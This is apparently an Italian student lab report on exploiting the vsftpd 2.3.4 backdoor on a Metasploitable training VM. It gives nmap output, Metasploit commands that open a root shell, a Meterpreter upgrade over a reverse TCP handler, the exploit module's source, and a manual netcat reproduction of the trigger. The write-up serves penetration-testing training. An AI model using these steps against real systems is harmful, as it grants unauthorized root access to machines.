

W15D4 - Metasploit Framework

metasploitable - pentesting

Metasploit - vsftpd

Danilo 'danix' Macrì - mia.mail@mio.sito

Scan started on 21/10/2025 - duration (days): 1

Contents

Sommario	1
Scope	1
Tecnologie utilizzate	1
Attacco	2
La vulnerabilità	2
L'attacco	3
Extra - attacco manuale	6

Sommario

Nell'esercizio di oggi andremo ad analizzare la vulnerabilità di vsftpd presente sulla macchina Metasploitable

Scope

Il target aggiunto al nostro scope sarà la macchina Metasploitable:

- 192.168.50.101
- http://metasploitable

Tecnologie utilizzate

- metasploit framework 6.4.92-dev

Attacco

La vulnerabilità

```
(kali@kali)-[~]
$ nmap -sS -sV metasploitable
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-02 07:06 EDT
Nmap scan report for metasploitable (192.168.50.101)
Host is up (0.000058s latency).
Not shown: 980 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  unknown
MAC Address: 08:00:27:B5:7A:73 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 179.90 seconds
```

Sulla macchina metasploitable è installata la versione 2.3.4 di vsftpd, la quale contiene una backdoor che attiva una shell di root sulla porta 6200 quando si invia una sequenza di caratteri nello username facendo il login al servizio. Quindi anche senza conoscere lo username o la password si può attivare la backdoor e avere accesso completo alla macchina target.


```
msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies     Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4
  RHOSTS     RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT            yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

Abbiamo impostato l'unico parametro che ci interessa, **RHOSTS** con l'indirizzo IP della metasploitable. Lasciamo il payload predefinito e possiamo lanciare l'attacco con **run**.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.50.101:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[*] 192.168.50.101:21 - Backdoor service has been spawned, handling...
[*] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:40139 -> 192.168.50.101:6200) at 2025-10-21 04:30:36 -0400

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
metasploit-nokali
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

In questo momento abbiamo una shell semplice, la mettiamo in background con **Ctrl+Z** e ne eseguiamo l'upgrade a meterpreter con **sessions -u 1**.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.100:4433
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4433 → 192.168.50.101:54244) at 2025-10-21 04:32:46 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions 2
[*] Starting interaction with 2...

meterpreter > █
```

Una volta finito l'upgrade della sessione 1, avremo una nuova sessione meterpreter disponibile, la attiviamo con `sessions 2` e ci troveremo nuovamente loggati come root sulla macchina, ma questa volta all'interno di una shell meterpreter. Per completare l'esercizio andiamo a creare la cartella `/test_metasploit` nel sistema.

```
meterpreter > ls
Listing: /

=====
```

Mode	Size	Type	Last modified	Name
040755/rwxr-xr-x	4096	dir	2012-05-13 23:35:33 -0400	bin
040755/rwxr-xr-x	1024	dir	2012-05-13 23:36:28 -0400	boot
040755/rwxr-xr-x	4096	dir	2010-03-16 18:55:51 -0400	cdrom
040755/rwxr-xr-x	13480	dir	2025-10-21 03:39:26 -0400	dev
040755/rwxr-xr-x	4096	dir	2025-10-21 03:39:29 -0400	etc
040755/rwxr-xr-x	4096	dir	2025-10-17 04:54:34 -0400	home
040755/rwxr-xr-x	4096	dir	2010-03-16 18:57:40 -0400	initrd
100644/rw-r--r--	7929183	fil	2012-05-13 23:35:56 -0400	initrd.img
040755/rwxr-xr-x	4096	dir	2012-05-13 23:35:22 -0400	lib
040700/rwx-----	16384	dir	2010-03-16 18:55:15 -0400	lost+found
040755/rwxr-xr-x	4096	dir	2010-03-16 18:55:52 -0400	media
100644/rw-r--r--	0	fil	2025-09-26 12:31:03 -0400	metasploit-nokali
040755/rwxr-xr-x	4096	dir	2010-04-28 16:16:56 -0400	mnt
100600/rw-----	44755	fil	2025-10-21 03:40:25 -0400	nohup.out
040755/rwxr-xr-x	4096	dir	2010-03-16 18:57:39 -0400	opt
040555/r-xr-xr-x	0	dir	2025-10-21 03:39:19 -0400	proc
040755/rwxr-xr-x	4096	dir	2025-10-21 03:40:25 -0400	root
040755/rwxr-xr-x	4096	dir	2012-05-13 21:54:53 -0400	sbin
040755/rwxr-xr-x	4096	dir	2010-03-16 18:57:38 -0400	srv
040755/rwxr-xr-x	0	dir	2025-10-21 03:39:19 -0400	sys
041777/rwxrwxrwx	4096	dir	2025-10-21 04:32:49 -0400	tmp
040755/rwxr-xr-x	4096	dir	2010-04-28 00:06:37 -0400	usr
040755/rwxr-xr-x	4096	dir	2010-03-17 10:08:23 -0400	var
100644/rw-r--r--	1987288	fil	2008-04-10 12:55:41 -0400	vmlinuz

```
meterpreter > mkdir test_metasploit
Creating directory: test_metasploit
meterpreter > █
```

Extra - attacco manuale

Proviamo ad analizzare il codice di questo exploit per capire come funziona.

```
1  def exploit
2    nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
3    if nsock
4      print_status("The port used by the backdoor bind listener is already open")
5      handle_backdoor(nsock)
6      return
7    end
8
9    # Connect to the FTP service port first
10   connect
11
12   banner = sock.get_once(-1, 30).to_s
13   print_status("Banner: #{banner.strip}")
14
15   sock.put("USER #{rand_text_alphanumeric(rand(6) + 1)}:\r\n")
16   resp = sock.get_once(-1, 30).to_s
17   print_status("USER: #{resp.strip}")
18
19   if resp =~ /^530 /
20     print_error("This server is configured for anonymous only and the backdoor code cannot be
↪ reached")
21     disconnect
22     return
23   end
24
25   if resp !~ /^331 /
26     print_error("This server did not respond as expected: #{resp.strip}")
27     disconnect
28     return
29   end
30
31   sock.put("PASS #{rand_text_alphanumeric(rand(6) + 1)}\r\n")
32
33   # Do not bother reading the response from password, just try the backdoor
34   nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
35   if nsock
36     print_good("Backdoor service has been spawned, handling...")
37     handle_backdoor(nsock)
38     return
39   end
```

Nella funzione `exploit` al rigo 15, vediamo come il programmatore inietta il testo `:)` nella stringa random che passa al campo **USER**, questo è il trigger per aprire la backdoor sulla porta 6200, come vediamo più in basso al rigo 34 infatti, non ci preoccupiamo nemmeno di leggere la risposta del server in caso di password errata ma procediamo direttamente a connetterci alla shell aperta dalla backdoor.

netcat Possiamo replicare l'attacco usando netcat, ci basterà aprire una connessione verso la porta 21 e passare una stringa random come nome utente, purchè finisca con `:` e poi passare una password random, vedremo nc restare aperto senza restituire messaggi di errore.

```
(kali㉿kali)-[~]  
$ nc 192.168.50.101 21 -v  
metasploitable [192.168.50.101] 21 (ftp) open  
220 (vsFTPd 2.3.4)  
USER asdf:)  
331 Please specify the password.  
PASS asdf  
█
```


A questo punto ci potremo spostare su un nuovo terminale e aprire una nuova connessione, questa volta verso la porta 6200 dove avremo una shell di root aperta.

```
(kali㉿kali)-[~]  
$ nc 192.168.50.101 6200 -v  
metasploitable [192.168.50.101] 6200 (?) open  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
metasploit-nokali  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
test_metasploit  
tmp  
usr  
var  
vmlinuz  
█
```

Si conclude così il nostro attacco di oggi.

Alla prossima

